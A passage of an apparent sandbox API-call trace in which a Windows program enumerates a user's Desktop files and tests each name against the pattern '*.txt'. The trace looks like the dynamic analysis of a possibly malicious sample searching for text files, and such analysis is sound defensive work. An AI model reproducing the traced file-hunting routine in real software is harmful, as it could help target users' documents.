lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.244] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab10 [0146.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236ab10, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.244] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab10 | out: hHeap=0x2360000) returned 1 [0146.244] PathMatchSpecW (pszFile="W89TW0.jpg", pszSpec="*.txt") returned 0 [0146.244] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0146.244] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73907e0, ftCreationTime.dwHighDateTime=0x1d7a068, ftLastAccessTime.dwLowDateTime=0x75ea9d60, ftLastAccessTime.dwHighDateTime=0x1d7ae47, ftLastWriteTime.dwLowDateTime=0x75ea9d60, ftLastWriteTime.dwHighDateTime=0x1d7ae47, nFileSizeHigh=0x0, nFileSizeLow=0x11882, dwReserved0=0x0, dwReserved1=0x0, cFileName="W89TW0.jpg", cAlternateFileName="")) returned 0 [0146.244] FindClose (in: hFindFile=0x8825b0 | out: hFindFile=0x8825b0) returned 1 [0146.244] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604e8 [0146.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0146.245] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x33) returned 0x2360560 [0146.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", cchWideChar=51, lpMultiByteStr=0x2360560, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpUsedDefaultChar=0x0) returned 51 [0146.245] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x33400d0 [0146.245] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360560 | out: hHeap=0x2360000) returned 1 [0146.245] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.245] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.245] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab10 [0146.245] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab10, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.245] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab10 | out: hHeap=0x2360000) returned 1 [0146.245] PathMatchSpecW (pszFile="avdtAoxV8CAmzwyXqi1", pszSpec="*.txt") returned 0 [0146.245] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.245] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8de1b940, ftCreationTime.dwHighDateTime=0x1d7a531, ftLastAccessTime.dwLowDateTime=0x59225a40, ftLastAccessTime.dwHighDateTime=0x1d7a98f, ftLastWriteTime.dwLowDateTime=0x59225a40, ftLastWriteTime.dwHighDateTime=0x1d7a98f, nFileSizeHigh=0x0, nFileSizeLow=0x169f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEIQ6AJHyGUlXgnxWJ.avi", cAlternateFileName="DEIQ6A~1.AVI")) returned 1 [0146.245] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.245] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.245] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="DEIQ6AJHyGUlXgnxWJ.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi" [0146.245] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.245] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.245] lstrcatW (in: lpString1="\\", lpString2="DEIQ6AJHyGUlXgnxWJ.avi" | out: lpString1="\\DEIQ6AJHyGUlXgnxWJ.avi") returned="\\DEIQ6AJHyGUlXgnxWJ.avi" [0146.245] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604e8 [0146.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.245] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x36) returned 0x2360560 [0146.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi", cchWideChar=54, lpMultiByteStr=0x2360560, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DEIQ6AJHyGUlXgnxWJ.avi", lpUsedDefaultChar=0x0) returned 54 [0146.245] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x33400d0 [0146.245] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360560 | out: hHeap=0x2360000) returned 1 [0146.245] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.245] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.245] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236abb8 [0146.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236abb8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.246] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abb8 | out: hHeap=0x2360000) returned 1 [0146.246] PathMatchSpecW (pszFile="DEIQ6AJHyGUlXgnxWJ.avi", pszSpec="*.txt") returned 0 [0146.246] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.246] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0146.246] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.246] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.246] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini" [0146.246] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.246] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.246] lstrcatW (in: lpString1="\\", lpString2="desktop.ini" | out: lpString1="\\desktop.ini") returned="\\desktop.ini" [0146.246] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604e8 [0146.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.246] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2b) returned 0x2360550 [0146.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x2360550, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", lpUsedDefaultChar=0x0) returned 43 [0146.246] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.246] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360550 | out: hHeap=0x2360000) returned 1 [0146.246] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.246] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab88 [0146.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab88, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.246] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab88 | out: hHeap=0x2360000) returned 1 [0146.246] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*.txt") returned 0 [0146.246] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.246] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35827c90, ftCreationTime.dwHighDateTime=0x1d7a472, ftLastAccessTime.dwLowDateTime=0xe313cd50, ftLastAccessTime.dwHighDateTime=0x1d7af71, ftLastWriteTime.dwLowDateTime=0xe313cd50, ftLastWriteTime.dwHighDateTime=0x1d7af71, nFileSizeHigh=0x0, nFileSizeLow=0xbec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="dw5n s d.swf", cAlternateFileName="DW5NSD~1.SWF")) returned 1 [0146.246] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.247] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.247] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="dw5n s d.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf" [0146.247] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.247] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.247] lstrcatW (in: lpString1="\\", lpString2="dw5n s d.swf" | out: lpString1="\\dw5n s d.swf") returned="\\dw5n s d.swf" [0146.247] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604e8 [0146.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0146.247] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2c) returned 0x2360550 [0146.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf", cchWideChar=44, lpMultiByteStr=0x2360550, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf", lpUsedDefaultChar=0x0) returned 44 [0146.247] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.247] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360550 | out: hHeap=0x2360000) returned 1 [0146.247] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.247] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab40 [0146.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab40, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.247] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab40 | out: hHeap=0x2360000) returned 1 [0146.247] PathMatchSpecW (pszFile="dw5n s d.swf", pszSpec="*.txt") returned 0 [0146.247] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.247] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89c8bd0, ftCreationTime.dwHighDateTime=0x1d7a3c4, ftLastAccessTime.dwLowDateTime=0x109c61e0, ftLastAccessTime.dwHighDateTime=0x1d7a669, ftLastWriteTime.dwLowDateTime=0x109c61e0, ftLastWriteTime.dwHighDateTime=0x1d7a669, nFileSizeHigh=0x0, nFileSizeLow=0xa4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ett5QjnXB4TVvQ5gQv.xls", cAlternateFileName="ETT5QJ~1.XLS")) returned 1 [0146.247] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.247] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.247] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="Ett5QjnXB4TVvQ5gQv.xls" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls" [0146.247] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.247] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.247] lstrcatW (in: lpString1="\\", lpString2="Ett5QjnXB4TVvQ5gQv.xls" | out: lpString1="\\Ett5QjnXB4TVvQ5gQv.xls") returned="\\Ett5QjnXB4TVvQ5gQv.xls" [0146.247] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604e8 [0146.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.248] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x36) returned 0x2360560 [0146.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls", cchWideChar=54, lpMultiByteStr=0x2360560, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls", lpUsedDefaultChar=0x0) returned 54 [0146.248] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x33400d0 [0146.248] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360560 | out: hHeap=0x2360000) returned 1 [0146.248] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.248] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab28 [0146.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab28, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.248] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab28 | out: hHeap=0x2360000) returned 1 [0146.248] PathMatchSpecW (pszFile="Ett5QjnXB4TVvQ5gQv.xls", pszSpec="*.txt") returned 0 [0146.248] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.248] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7598620, ftCreationTime.dwHighDateTime=0x1d7aade, ftLastAccessTime.dwLowDateTime=0xbaa38dc0, ftLastAccessTime.dwHighDateTime=0x1d7acc3, ftLastWriteTime.dwLowDateTime=0xbaa38dc0, ftLastWriteTime.dwHighDateTime=0x1d7acc3, nFileSizeHigh=0x0, nFileSizeLow=0xa96b, dwReserved0=0x0, dwReserved1=0x0, cFileName="F3Jg6iOM3u.avi", cAlternateFileName="F3JG6I~1.AVI")) returned 1 [0146.248] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.248] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.248] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="F3Jg6iOM3u.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi" [0146.248] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.248] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.248] lstrcatW (in: lpString1="\\", lpString2="F3Jg6iOM3u.avi" | out: lpString1="\\F3Jg6iOM3u.avi") returned="\\F3Jg6iOM3u.avi" [0146.248] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604e8 [0146.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0146.248] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2e) returned 0x2360550 [0146.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi", cchWideChar=46, lpMultiByteStr=0x2360550, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi", lpUsedDefaultChar=0x0) returned 46 [0146.248] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.248] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360550 | out: hHeap=0x2360000) returned 1 [0146.248] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.249] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aaf8 [0146.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236aaf8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.249] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aaf8 | out: hHeap=0x2360000) returned 1 [0146.249] PathMatchSpecW (pszFile="F3Jg6iOM3u.avi", pszSpec="*.txt") returned 0 [0146.249] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.249] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e3e340, ftCreationTime.dwHighDateTime=0x1d7a455, ftLastAccessTime.dwLowDateTime=0xbaf238a0, ftLastAccessTime.dwHighDateTime=0x1d7afa5, ftLastWriteTime.dwLowDateTime=0xbaf238a0, ftLastWriteTime.dwHighDateTime=0x1d7afa5, nFileSizeHigh=0x0, nFileSizeLow=0xc22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPDreaGbTfCfnUb6R.odt", cAlternateFileName="FPDREA~1.ODT")) returned 1 [0146.249] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.249] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.249] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="FPDreaGbTfCfnUb6R.odt" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt" [0146.249] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.249] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.249] lstrcatW (in: lpString1="\\", lpString2="FPDreaGbTfCfnUb6R.odt" | out: lpString1="\\FPDreaGbTfCfnUb6R.odt") returned="\\FPDreaGbTfCfnUb6R.odt" [0146.249] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604e8 [0146.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0146.249] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x35) returned 0x2360560 [0146.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt", cchWideChar=53, lpMultiByteStr=0x2360560, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt", lpUsedDefaultChar=0x0) returned 53 [0146.249] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba228 [0146.251] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360560 | out: hHeap=0x2360000) returned 1 [0146.251] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.251] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.251] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236abd0 [0146.251] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236abd0, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.251] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abd0 | out: hHeap=0x2360000) returned 1 [0146.251] PathMatchSpecW (pszFile="FPDreaGbTfCfnUb6R.odt", pszSpec="*.txt") returned 0 [0146.251] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba228 | out: hHeap=0x2360000) returned 1 [0146.251] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b0e5e90, ftCreationTime.dwHighDateTime=0x1d7a824, ftLastAccessTime.dwLowDateTime=0xdedaeb90, ftLastAccessTime.dwHighDateTime=0x1d7aee2, 